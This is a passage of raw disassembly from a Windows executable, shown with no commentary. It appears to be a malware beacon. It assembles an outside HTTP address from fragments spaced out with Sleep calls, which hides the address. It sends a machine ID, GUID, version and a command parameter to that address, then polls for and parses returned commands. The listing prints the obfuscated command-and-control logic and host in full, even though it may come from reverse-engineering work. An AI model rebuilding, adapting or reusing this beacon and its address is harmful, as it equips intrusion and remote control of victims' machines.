mov large fs:0, ecx mov esp, ebp pop ebp retn sub_408290 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4082E0 proc near ; DATA XREF: HSho:00417004o push ebp mov ebp, esp call sub_4082EF call sub_4082FE pop ebp retn sub_4082E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4082EF proc near ; CODE XREF: sub_4082E0+3p push ebp mov ebp, esp mov ecx, offset dword_419C90 call sub_4095C0 pop ebp retn sub_4082EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4082FE proc near ; CODE XREF: sub_4082E0+8p push ebp mov ebp, esp push offset sub_408310 call sub_411672 add esp, 4 pop ebp retn sub_4082FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408310 proc near ; DATA XREF: sub_4082FE+3o push ebp mov ebp, esp mov ecx, offset dword_419C90 call sub_409540 pop ebp retn sub_408310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40831F proc near ; CODE XREF: sub_4091F5+F9p var_28DC = dword ptr -28DCh var_28D8 = dword ptr -28D8h var_28D4 = dword ptr -28D4h var_28D0 = dword ptr -28D0h var_28CA = word ptr -28CAh var_28C8 = dword ptr -28C8h var_28C4 = dword ptr -28C4h var_28C0 = dword ptr -28C0h var_28BC = dword ptr -28BCh var_28B8 = dword ptr -28B8h var_28B4 = dword ptr -28B4h var_28B0 = dword ptr -28B0h var_28AC = dword ptr -28ACh var_28A8 = dword ptr -28A8h var_28A4 = dword ptr -28A4h var_28A0 = dword ptr -28A0h var_289C = dword ptr -289Ch var_2898 = dword ptr -2898h var_2894 = dword ptr -2894h var_2890 = dword ptr -2890h var_288C = dword ptr -288Ch var_2888 = dword ptr -2888h var_2884 = dword ptr -2884h var_2880 = dword ptr -2880h var_287C = dword ptr -287Ch var_2878 = dword ptr -2878h var_2874 = dword ptr -2874h var_2870 = dword ptr -2870h var_286C = dword ptr -286Ch var_2868 = dword ptr -2868h var_2864 = dword ptr -2864h var_2860 = dword ptr -2860h var_285C = dword ptr -285Ch var_2858 = dword ptr -2858h var_2854 = dword ptr -2854h var_2850 = dword ptr -2850h var_284C = dword ptr -284Ch var_2848 = dword ptr -2848h var_2844 = dword ptr -2844h var_2840 = dword ptr -2840h var_283C = dword ptr -283Ch var_2838 = dword ptr -2838h var_2834 = dword ptr -2834h var_2830 = dword ptr -2830h var_282C = dword ptr -282Ch var_2828 = dword ptr -2828h var_2824 = dword ptr -2824h var_2820 = dword ptr -2820h var_281C = dword ptr -281Ch var_2818 = byte ptr -2818h var_2814 = dword ptr -2814h var_2810 = dword ptr -2810h var_280C = dword ptr -280Ch var_2808 = byte ptr -2808h var_2804 = dword ptr -2804h var_2800 = byte ptr -2800h var_27FC = byte ptr -27FCh var_27F8 = byte ptr -27F8h var_27F4 = byte ptr -27F4h var_27F0 = byte ptr -27F0h var_27EC = byte ptr -27ECh var_27E8 = byte ptr -27E8h var_27E4 = byte ptr -27E4h var_27E0 = byte ptr -27E0h var_27DC = byte ptr -27DCh var_27D8 = byte ptr -27D8h var_27D4 = byte ptr -27D4h var_27D0 = byte ptr -27D0h var_27CC = byte ptr -27CCh var_27C8 = byte ptr -27C8h var_27C4 = dword ptr -27C4h var_27C0 = byte ptr -27C0h var_27BC = byte ptr -27BCh var_27B8 = dword ptr -27B8h var_27B4 = dword ptr -27B4h var_27B0 = byte ptr -27B0h var_27AC = byte ptr -27ACh var_279C = byte ptr -279Ch var_1F9C = byte ptr -1F9Ch var_1F98 = dword ptr -1F98h var_1F94 = dword ptr -1F94h var_1F90 = byte ptr -1F90h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_38 = byte ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40831F mov eax, large fs:0 push eax mov large fs:0, esp mov eax, 28D0h call sub_4115D0 mov [ebp+var_282C], ecx mov [ebp+var_1F98], 0 mov [ebp+var_38], 1 lea ecx, [ebp+var_1C] call sub_409CB0 mov [ebp+var_4], 0 lea ecx, [ebp+var_18] call sub_41151E mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_24] call sub_41151E mov byte ptr [ebp+var_4], 2 mov [ebp+var_1F94], 0 lea ecx, [ebp+var_14] call sub_41151E mov byte ptr [ebp+var_4], 3 mov eax, [ebp+var_282C] mov ecx, [eax] push ecx push offset aD_0 ; "%d" lea edx, [ebp+var_48] push edx call dword_4131E4 ; sprintf add esp, 0Ch lea eax, [ebp+var_48] push eax push offset asc_41750C ; "&x=" lea ecx, [ebp+var_27BC] push ecx mov ecx, [ebp+var_282C] add ecx, 8 call sub_405693 mov [ebp+var_2830], eax mov edx, [ebp+var_2830] mov [ebp+var_2834], edx mov byte ptr [ebp+var_4], 4 mov eax, [ebp+var_2834] push eax push offset aI_0 ; "&i=" lea ecx, [ebp+var_27C0] push ecx mov ecx, [ebp+var_282C] add ecx, 8 call sub_40558C mov [ebp+var_2838], eax mov edx, [ebp+var_2838] mov [ebp+var_283C], edx mov byte ptr [ebp+var_4], 5 mov eax, [ebp+var_283C] push eax push offset aP_1 ; "&p=" push offset dword_41BCD0 push offset aCmd_0 ; "&cmd=" mov ecx, [ebp+var_282C] add ecx, 10h push ecx mov edx, esp mov [ebp+var_27C4], esp push ecx mov ecx, edx call sub_411506 mov [ebp+var_2840], eax lea eax, [ebp+var_27C8] push eax mov ecx, [ebp+var_282C] add ecx, 8 call sub_402FAF mov [ebp+var_2844], eax mov ecx, [ebp+var_2844] mov [ebp+var_2848], ecx mov byte ptr [ebp+var_4], 6 mov edx, [ebp+var_2848] push edx push offset aGuid ; "&GUID=" lea eax, [ebp+var_27CC] push eax mov ecx, [ebp+var_282C] add ecx, 8 call sub_405327 mov [ebp+var_284C], eax mov ecx, [ebp+var_284C] mov [ebp+var_2850], ecx mov byte ptr [ebp+var_4], 7 mov edx, [ebp+var_2850] push edx push offset aConfigversion ; "&configversion=" mov eax, [ebp+var_282C] add eax, 1Ch push eax push offset aVersion ; "&version=" lea ecx, [ebp+var_27D0] push ecx call sub_41154E mov [ebp+var_2854], eax mov edx, [ebp+var_2854] mov [ebp+var_2858], edx mov byte ptr [ebp+var_4], 8 mov eax, [ebp+var_2858] push eax lea ecx, [ebp+var_27D4] push ecx call sub_41152A mov [ebp+var_285C], eax mov edx, [ebp+var_285C] mov [ebp+var_2860], edx mov byte ptr [ebp+var_4], 9 mov eax, [ebp+var_2860] push eax lea ecx, [ebp+var_27D8] push ecx call sub_411524 mov [ebp+var_2864], eax mov edx, [ebp+var_2864] mov [ebp+var_2868], edx mov byte ptr [ebp+var_4], 0Ah mov eax, [ebp+var_2868] push eax lea ecx, [ebp+var_27DC] push ecx call sub_41152A mov [ebp+var_286C], eax mov edx, [ebp+var_286C] mov [ebp+var_2870], edx mov byte ptr [ebp+var_4], 0Bh mov eax, [ebp+var_2870] push eax lea ecx, [ebp+var_27E0] push ecx call sub_411524 mov [ebp+var_2874], eax mov edx, [ebp+var_2874] mov [ebp+var_2878], edx mov byte ptr [ebp+var_4], 0Ch mov eax, [ebp+var_2878] push eax lea ecx, [ebp+var_27E4] push ecx call sub_41152A mov [ebp+var_287C], eax mov edx, [ebp+var_287C] mov [ebp+var_2880], edx mov byte ptr [ebp+var_4], 0Dh mov eax, [ebp+var_2880] push eax lea ecx, [ebp+var_27E8] push ecx call sub_411524 mov [ebp+var_2884], eax mov edx, [ebp+var_2884] mov [ebp+var_2888], edx mov byte ptr [ebp+var_4], 0Eh mov eax, [ebp+var_2888] push eax lea ecx, [ebp+var_27EC] push ecx call sub_41152A mov [ebp+var_288C], eax mov edx, [ebp+var_288C] mov [ebp+var_2890], edx mov byte ptr [ebp+var_4], 0Fh mov eax, [ebp+var_2890] push eax lea ecx, [ebp+var_27F0] push ecx call sub_411524 mov [ebp+var_2894], eax mov edx, [ebp+var_2894] mov [ebp+var_2898], edx mov byte ptr [ebp+var_4], 10h mov eax, [ebp+var_2898] push eax lea ecx, [ebp+var_27F4] push ecx call sub_41152A mov [ebp+var_289C], eax mov edx, [ebp+var_289C] mov [ebp+var_28A0], edx mov byte ptr [ebp+var_4], 11h mov eax, [ebp+var_28A0] push eax lea ecx, [ebp+var_27F8] push ecx call sub_411524 mov [ebp+var_28A4], eax mov edx, [ebp+var_28A4] mov [ebp+var_28A8], edx mov byte ptr [ebp+var_4], 12h mov eax, [ebp+var_28A8] push eax lea ecx, [ebp+var_27FC] push ecx call sub_41152A mov [ebp+var_28AC], eax mov edx, [ebp+var_28AC] mov [ebp+var_28B0], edx mov byte ptr [ebp+var_4], 13h mov eax, [ebp+var_28B0] push eax lea ecx, [ebp+var_2800] push ecx call sub_41152A mov [ebp+var_28B4], eax mov edx, [ebp+var_28B4] mov [ebp+var_28B8], edx mov byte ptr [ebp+var_4], 14h mov eax, [ebp+var_28B8] push eax lea ecx, [ebp+var_14] call sub_411518 mov byte ptr [ebp+var_4], 13h lea ecx, [ebp+var_2800] call sub_411512 mov byte ptr [ebp+var_4], 12h lea ecx, [ebp+var_27FC] call sub_411512 mov byte ptr [ebp+var_4], 11h lea ecx, [ebp+var_27F8] call sub_411512 mov byte ptr [ebp+var_4], 10h lea ecx, [ebp+var_27F4] call sub_411512 mov byte ptr [ebp+var_4], 0Fh lea ecx, [ebp+var_27F0] call sub_411512 mov byte ptr [ebp+var_4], 0Eh lea ecx, [ebp+var_27EC] call sub_411512 mov byte ptr [ebp+var_4], 0Dh lea ecx, [ebp+var_27E8] call sub_411512 mov byte ptr [ebp+var_4], 0Ch lea ecx, [ebp+var_27E4] call sub_411512 mov byte ptr [ebp+var_4], 0Bh lea ecx, [ebp+var_27E0] call sub_411512 mov byte ptr [ebp+var_4], 0Ah lea ecx, [ebp+var_27DC] call sub_411512 mov byte ptr [ebp+var_4], 9 lea ecx, [ebp+var_27D8] call sub_411512 mov byte ptr [ebp+var_4], 8 lea ecx, [ebp+var_27D4] call sub_411512 mov byte ptr [ebp+var_4], 7 lea ecx, [ebp+var_27D0] call sub_411512 mov byte ptr [ebp+var_4], 6 lea ecx, [ebp+var_27CC] call sub_411512 mov byte ptr [ebp+var_4], 5 lea ecx, [ebp+var_27C8] call sub_411512 mov byte ptr [ebp+var_4], 4 lea ecx, [ebp+var_27C0] call sub_411512 mov byte ptr [ebp+var_4], 3 lea ecx, [ebp+var_27BC] call sub_411512 mov [ebp+var_20], 0 push offset aHtt ; "htt" lea ecx, [ebp+var_279C] push ecx call dword_4130CC ; lstrcpyA push 22h call dword_4130E0 ; Sleep push offset aP ; "p://" lea edx, [ebp+var_279C] push edx call dword_413074 ; lstrcatA push 1Ch call dword_4130E0 ; Sleep push offset aWr_mc ; "wr.mc" lea eax, [ebp+var_279C] push eax call dword_413074 ; lstrcatA push 21h call dword_4130E0 ; Sleep push offset aBoo_co ; "boo.co" lea ecx, [ebp+var_279C] push ecx call dword_413074 ; lstrcatA push 1Eh call dword_4130E0 ; Sleep push offset aMReta ; "m/reta" lea edx, [ebp+var_279C] push edx call dword_413074 ; lstrcatA push 1Fh call dword_4130E0 ; Sleep push offset aDpu_php? ; "dpu.php?" lea eax, [ebp+var_279C] push eax call dword_413074 ; lstrcatA lea ecx, [ebp+var_14] call sub_4026A0 push eax lea ecx, [ebp+var_279C] push ecx call dword_413074 ; lstrcatA lea edx, [ebp+var_20] push edx lea eax, [ebp+var_279C] push eax mov ecx, [ebp+var_282C] add ecx, 8 call sub_402F1E mov [ebp+var_10], eax cmp [ebp+var_10], 64h jnb short loc_408902 mov [ebp+var_2804], 0 mov byte ptr [ebp+var_4], 2 lea ecx, [ebp+var_14] call sub_411512 mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_24] call sub_411512 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_18] call sub_411512 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_1C] call sub_4041A5 mov eax, [ebp+var_2804] jmp loc_408D91 ; --------------------------------------------------------------------------- loc_408902: ; CODE XREF: sub_40831F+599j mov ecx, [ebp+var_10] add ecx, 1 push ecx mov edx, [ebp+var_20] push edx lea eax, [ebp+var_1F90] push eax call dword_4130C8 ; lstrcpynA push 19h call dword_4130E0 ; Sleep mov ecx, [ebp+var_10] mov [ebp+ecx+var_1F90], 0 mov edx, [ebp+var_10] push edx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_2808] push ecx mov ecx, [ebp+var_282C] add ecx, 8 call sub_4030F7 mov [ebp+var_28BC], eax mov edx, [ebp+var_28BC] mov [ebp+var_28C0], edx mov byte ptr [ebp+var_4], 15h mov ecx, [ebp+var_28C0] call sub_4026A0 push eax lea eax, [ebp+var_1F90] push eax call dword_4130CC ; lstrcpyA mov byte ptr [ebp+var_4], 3 lea ecx, [ebp+var_2808] call sub_411512 lea ecx, [ebp+var_1F90] push ecx lea ecx, [ebp+var_1C] call sub_409670 push 19h call dword_4130E0 ; Sleep lea ecx, [ebp+var_1C] call sub_409720 cmp eax, 64h jnb short loc_408A03 lea ecx, [ebp+var_1C] call sub_4096F0 push eax call dword_413274 mov [ebp+var_280C], 0FFFFFFFFh mov byte ptr [ebp+var_4], 2 lea ecx, [ebp+var_14] call sub_411512 mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_24] call sub_411512 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_18] call sub_411512 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_1C] call sub_4041A5 mov eax, [ebp+var_280C] jmp loc_408D91 ; --------------------------------------------------------------------------- loc_408A03: ; CODE XREF: sub_40831F+68Bj push 0 lea ecx, [ebp+var_1F9C] call sub_409B80 mov byte ptr [ebp+var_4], 16h push 7 push 0 push offset byte_4132B8 lea ecx, [ebp+var_1F9C] call sub_409C00 mov [ebp+var_50], eax cmp [ebp+var_50], 0 jge short loc_408AA6 push 0 push 0 mov edx, [ebp+var_50] push edx lea ecx, [ebp+var_27AC] call sub_4099B0 mov [ebp+var_2810], 0FFFFFFFEh lea ecx, [ebp+var_27AC] call sub_409A40 mov byte ptr [ebp+var_4], 3 lea ecx, [ebp+var_1F9C] call sub_409BB0 mov byte ptr [ebp+var_4], 2 lea ecx, [ebp+var_14] call sub_411512 mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_24] call sub_411512 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_18] call sub_411512 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_1C] call sub_4041A5 mov eax, [ebp+var_2810] jmp loc_408D91 ; --------------------------------------------------------------------------- loc_408AA6: ; CODE XREF: sub_40831F+710j lea ecx, [ebp+var_34] call sub_4097D0 mov byte ptr [ebp+var_4], 17h push ecx mov ecx, esp mov [ebp+var_2814], esp lea eax, [ebp+var_1C] push eax call sub_409640 mov [ebp+var_28C4], eax mov ecx, [ebp+var_28C4] mov [ebp+var_28C8], ecx mov byte ptr [ebp+var_4], 18h lea ecx, [ebp+var_1F9C] call sub_409BD0 mov ecx, eax mov byte ptr [ebp+var_4], 17h call sub_409AF0 mov [ebp+var_28CA], ax mov dx, [ebp+var_28CA] push edx lea ecx, [ebp+var_34] call sub_409880 mov [ebp+var_4C], 0FFFFFFFFh call dword_413028 ; RtlGetLastWin32Error mov [ebp+var_4C], eax lea ecx, [ebp+var_34] call sub_4097F0 and eax, 0FFh cmp eax, 1 jnz loc_408CB5 lea ecx, [ebp+var_27B0] call sub_409CB0 mov byte ptr [ebp+var_4], 19h lea eax, [ebp+var_2818] push eax lea ecx, [ebp+var_1F9C] call sub_409BD0 mov ecx, eax call sub_409A90 mov [ebp+var_28D0], eax mov ecx, [ebp+var_28D0] push ecx lea ecx, [ebp+var_27B0] call sub_409D30 lea ecx, [ebp+var_2818] call sub_406293 push ecx mov ecx, esp mov [ebp+var_281C], esp lea edx, [ebp+var_27B0] push edx call sub_409CD0 mov [ebp+var_28D4], eax mov ecx, [ebp+var_282C] add ecx, 8 call sub_404484 mov [ebp+var_28D8], eax mov eax, [ebp+var_28D8] mov [ebp+var_1F98], eax mov ecx, [ebp+var_1F98] imul ecx, 1400Ch mov [ebp+var_27B4], ecx cmp [ebp+var_1F98], 0 jnz short loc_408BE6 mov edx, [ebp+var_27B4] push edx call dword_4131C8 ; malloc add esp, 4 mov [ebp+var_27B8], eax jmp short loc_408BFC ; --------------------------------------------------------------------------- loc_408BE6: ; CODE XREF: sub_40831F+8ADj mov eax, [ebp+var_27B4] push eax call dword_4131C8 ; malloc add esp, 4 mov [ebp+var_27B8], eax loc_408BFC: ; CODE XREF: sub_40831F+8C5j mov ecx, [ebp+var_27B4] push ecx push 0 mov edx, [ebp+var_27B8] push edx call sub_411622 ; memset add esp, 0Ch push 19h call dword_4130E0 ; Sleep mov eax, [ebp+var_1F98] push eax mov ecx, [ebp+var_27B8] push ecx mov ecx, [ebp+var_282C] add ecx, 8 call sub_4033A7 push 18h call dword_4130E0 ; Sleep mov edx, [ebp+var_27B8] push edx push ecx mov ecx, esp mov [ebp+var_2820], esp lea eax, [ebp+var_27B0] push eax call sub_409CD0 mov [ebp+var_28DC], eax mov ecx, [ebp+var_282C] add ecx, 8 call sub_403488 push 17h call dword_4130E0 ; Sleep mov ecx, [ebp+var_1F98] push ecx mov edx, [ebp+var_27B8] push edx mov ecx, [ebp+var_282C] add ecx, 8 call sub_404605 mov eax, [ebp+var_27B8] push eax call dword_4131D4 ; free add esp, 4 mov byte ptr [ebp+var_4], 17h lea ecx, [ebp+var_27B0] call sub_406293 jmp short loc_408D24 ; --------------------------------------------------------------------------- loc_408CB5: ; CODE XREF: sub_40831F+808j lea ecx, [ebp+var_1C] call sub_4096F0 push eax call dword_413274 mov [ebp+var_2824], 0FFFFFFFDh mov byte ptr [ebp+var_4], 16h lea ecx, [ebp+var_34] call sub_409990 mov byte ptr [ebp+var_4], 3 lea ecx, [ebp+var_1F9C] call sub_409BB0 mov byte ptr [ebp+var_4], 2 lea ecx, [ebp+var_14] call sub_411512 mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_24] call sub_411512 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_18] call sub_411512 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_1C] call sub_4041A5 mov eax, [ebp+var_2824] jmp short loc_408D91 ; --------------------------------------------------------------------------- loc_408D24: ; CODE XREF: sub_40831F+994j lea ecx, [ebp+var_1C] call sub_4096F0 push eax call dword_413274 mov [ebp+var_2828], 1 mov byte ptr [ebp+var_4], 16h lea ecx, [ebp+var_34] call sub_409990 mov byte ptr [ebp+var_4], 3 lea ecx, [ebp+var_1F9C] call sub_409BB0 mov byte ptr [ebp+var_4], 2 lea ecx, [ebp+var_14] call sub_411512 mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_24] call sub_411512 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_18] call sub_411512 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_1C] call sub_4041A5 mov eax, [ebp+var_2828] loc_408D91: ; CODE XREF: sub_40831F+5DEj ; sub_40831F+6DFj ... mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_40831F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408D9F proc near ; CODE XREF: sub_4091F5+B0p var_807C = dword ptr -807Ch var_8078 = dword ptr -8078h var_8074 = dword ptr -8074h var_8070 = dword ptr -8070h var_806C = dword ptr -806Ch var_8068 = dword ptr -8068h var_8064 = dword ptr -8064h var_8060 = dword ptr -8060h var_805C = dword ptr -805Ch var_8058 = dword ptr -8058h var_8054 = dword ptr -8054h var_8050 = dword ptr -8050h var_804C = dword ptr -804Ch var_8048 = dword ptr -8048h var_8044 = dword ptr -8044h var_8040 = byte ptr -8040h var_803C = byte ptr -803Ch var_8038 = byte ptr -8038h var_8034 = byte ptr -8034h var_8030 = byte ptr -8030h var_802C = byte ptr -802Ch var_8028 = byte ptr -8028h var_8024 = byte ptr -8024h var_8020 = byte ptr -8020h var_801C = byte ptr -801Ch var_8018 = dword ptr -8018h var_8014 = byte ptr -8014h var_6014 = byte ptr -6014h var_4014 = byte ptr -4014h var_4010 = byte ptr -4010h var_2010 = byte ptr -2010h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_408D9F mov eax, large fs:0 push eax mov large fs:0, esp mov eax, 8070h call sub_4115D0 mov [ebp+var_8044], ecx mov [ebp+var_801C], 1 lea ecx, [ebp+var_4014] call sub_41151E mov [ebp+var_4], 0 push offset dword_41BCD0 lea ecx, [ebp+var_4014] call sub_411518 lea ecx, [ebp+var_4014] call sub_408070 test eax, eax jnz short loc_408E4B lea eax, [ebp+var_8024] push eax mov ecx, [ebp+var_8044] add ecx, 8 call sub_405A64 mov [ebp+var_8048], eax mov ecx, [ebp+var_8048] mov [ebp+var_804C], ecx mov byte ptr [ebp+var_4], 1 mov edx, [ebp+var_804C] push edx lea ecx, [ebp+var_4014] call sub_411518 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_8024] call sub_411512 loc_408E4B: ; CODE XREF: sub_408D9F+5Ej lea ecx, [ebp+var_4014] call sub_4026A0 push eax lea eax, [ebp+var_6014] push eax call dword_4130CC ; lstrcpyA lea ecx, [ebp+var_6014] push ecx call dword_4130BC ; lstrlenA push eax lea edx, [ebp+var_6014] push edx lea eax, [ebp+var_8028] push eax mov ecx, [ebp+var_8044] add ecx, 8 call sub_4030F7 mov [ebp+var_8050], eax mov ecx, [ebp+var_8050] mov [ebp+var_8054], ecx mov byte ptr [ebp+var_4], 2 mov edx, [ebp+var_8054] push edx lea ecx, [ebp+var_4014] call sub_411518 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_8028] call sub_411512 lea ecx, [ebp+var_4014] call sub_4026A0 push eax lea eax, [ebp+var_8014] push eax call dword_41329C ; wsprintfA add esp, 8 movsx ecx, [ebp+var_8014] cmp ecx, 2Fh jnz loc_4091AA push 0 push 1 lea edx, [ebp+var_8014] push edx lea eax, [ebp+var_802C] push eax lea ecx, [ebp+var_8020] call sub_401ACF mov [ebp+var_8058], eax mov ecx, [ebp+var_8058] mov [ebp+var_805C], ecx mov byte ptr [ebp+var_4], 3 mov ecx, [ebp+var_805C] call sub_4026A0 push eax lea edx, [ebp+var_8014] push edx call sub_411628 ; strcpy add esp, 8 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_802C] call sub_411512 loc_408F4E: ; CODE XREF: sub_408D9F:loc_4091A5j push 2Fh lea eax, [ebp+var_8014] push eax lea ecx, [ebp+var_8020] call sub_401A20 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_4091AA cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_408F8B lea ecx, [ebp+var_8014] push ecx lea edx, [ebp+var_4010] push edx call dword_4130CC ; lstrcpyA jmp short loc_408FE8 ; --------------------------------------------------------------------------- loc_408F8B: ; CODE XREF: sub_408D9F+1D4j mov eax, [ebp+var_10] push eax push 0 lea ecx, [ebp+var_8014] push ecx lea edx, [ebp+var_8030] push edx lea ecx, [ebp+var_8020] call sub_401ACF mov [ebp+var_8060], eax mov eax, [ebp+var_8060] mov [ebp+var_8064], eax mov byte ptr [ebp+var_4], 4 mov ecx, [ebp+var_8064] call sub_4026A0 push eax lea ecx, [ebp+var_4010] push ecx call dword_4130CC ; lstrcpyA mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_8030] call sub_411512 loc_408FE8: ; CODE XREF: sub_408D9F+1EAj push 0 mov edx, [ebp+var_10] add edx, 1 push edx lea eax, [ebp+var_8014] push eax lea ecx, [ebp+var_8034] push ecx lea ecx, [ebp+var_8020] call sub_401ACF mov [ebp+var_8068], eax mov edx, [ebp+var_8068] mov [ebp+var_806C], edx mov byte ptr [ebp+var_4], 5 mov ecx, [ebp+var_806C] call sub_4026A0 push eax lea eax, [ebp+var_8014] push eax call dword_4130CC ; lstrcpyA mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_8034] call sub_411512 push 3Ah lea ecx, [ebp+var_4010] push ecx lea ecx, [ebp+var_8020] call sub_401A20 mov [ebp+var_8018], eax cmp [ebp+var_8018], 0FFFFFFFFh jz loc_409134 mov edx, [ebp+var_8018] push edx push 0 lea eax, [ebp+var_4010] push eax lea ecx, [ebp+var_8038] push ecx lea ecx, [ebp+var_8020] call sub_401ACF mov [ebp+var_8070], eax mov edx, [ebp+var_8070] mov [ebp+var_8074], edx mov byte ptr [ebp+var_4], 6 mov ecx, [ebp+var_8074] call sub_4026A0 push eax lea eax, [ebp+var_2010] push eax call dword_4130CC ; lstrcpyA mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_8038] call sub_411512 push 0 mov ecx, [ebp+var_8018] add ecx, 1 push ecx lea edx, [ebp+var_4010] push edx lea eax, [ebp+var_803C] push eax lea ecx, [ebp+var_8020] call sub_401ACF mov [ebp+var_8078], eax mov ecx, [ebp+var_8078] mov [ebp+var_807C], ecx mov byte ptr [ebp+var_4], 7 mov ecx, [ebp+var_807C] call sub_4026A0 push eax lea edx, [ebp+var_4010] push edx call dword_4130CC ; lstrcpyA mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_803C] call sub_411512 jmp short loc_40915E ; --------------------------------------------------------------------------- loc_409134: ; CODE XREF: sub_408D9F+2CAj lea eax, [ebp+var_4010] push eax lea ecx, [ebp+var_2010] push ecx call dword_4130CC ; lstrcpyA push 2000h push 0 lea edx, [ebp+var_4010] push edx call sub_411622 ; memset add esp, 0Ch loc_40915E: ; CODE XREF: sub_408D9F+393j push 3 push offset aOld ; "old" lea eax, [ebp+var_2010] push eax call dword_4131AC ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40919D lea ecx, [ebp+var_4010] push ecx call sub_4021DB add esp, 4 test eax, eax jz short loc_40919D push 1 lea edx, [ebp+var_4010] push edx call sub_401C92 add esp, 8 loc_40919D: ; CODE XREF: sub_408D9F+3D8j ; sub_408D9F+3EBj cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_4091A5 jmp short loc_4091AA ; --------------------------------------------------------------------------- loc_4091A5: ; CODE XREF: sub_408D9F+402j jmp loc_408F4E ; --------------------------------------------------------------------------- loc_4091AA: ; CODE XREF: sub_408D9F+14Cj ; sub_408D9F+1CAj ... mov ecx, [ebp+var_8044] add ecx, 10h call sub_408070 test eax, eax jnz short loc_4091C3 mov [ebp+var_801C], 0 loc_4091C3: ; CODE XREF: sub_408D9F+41Bj mov al, [ebp+var_801C] mov [ebp+var_8040], al mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_4014] call sub_411512 mov al, [ebp+var_8040] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_408D9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091F5 proc near ; CODE XREF: sub_4093D8+F4p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_4091F5 mov eax, large fs:0 push eax mov large fs:0, esp push ecx sub esp, 30h push ebx push esi push edi mov [ebp+var_10], esp mov [ebp+var_28], ecx mov [ebp+var_4], 0 lea eax, [ebp+var_14] push eax call dword_4131A4 ; time add esp, 4 mov ecx, [ebp+var_28] add ecx, 2040h push ecx mov edx, esp mov [ebp+var_20], esp push ecx mov ecx, edx call sub_411506 mov [ebp+var_2C], eax mov ecx, [ebp+var_28] add ecx, 8 call sub_405E1F push 1Eh call dword_4130E0 ; Sleep push 0 mov ecx, [ebp+var_28] add ecx, 8 call sub_40543F mov [ebp+var_30], eax mov eax, [ebp+var_28] mov ecx, [ebp+var_30] mov [eax], ecx mov [ebp+var_18], 2 push 20h call dword_4130E0 ; Sleep loc_409282: ; CODE XREF: sub_4091F5:loc_40939Fj mov edx, [ebp+var_28] xor eax, eax mov al, [edx+20h] test eax, eax jnz loc_4093A4 cmp [ebp+var_18], 2 jnz loc_4093A4 cmp [ebp+var_18], 0 jle short loc_4092AA mov ecx, [ebp+var_28] call sub_408D9F loc_4092AA: ; CODE XREF: sub_4091F5+ABj ; sub_4091F5+E1j cmp [ebp+var_18], 0 jle short loc_4092BB push 855h call dword_4130E0 ; Sleep loc_4092BB: ; CODE XREF: sub_4091F5+B9j cmp [ebp+var_18], 0FFFFFFFFh jle short loc_4092CE lea ecx, [ebp+var_14] push ecx call dword_4131A4 ; time add esp, 4 loc_4092CE: ; CODE XREF: sub_4091F5+CAj mov edx, [ebp+var_28] mov eax, [edx] cmp eax, [ebp+var_14] jg short loc_4092AA push 0 call dword_4132B0 test eax, eax jge short loc_4092EB xor al, al jmp loc_4093C7 ; --------------------------------------------------------------------------- loc_4092EB: ; CODE XREF: sub_4091F5+EDj mov ecx, [ebp+var_28] call sub_40831F mov [ebp+var_34], eax mov ecx, [ebp+var_34] mov [ebp+var_1C], ecx push 22h call dword_4130E0 ; Sleep call dword_4132A4 push 20h call dword_4130E0 ; Sleep cmp [ebp+var_1C], 0 jle short loc_409332 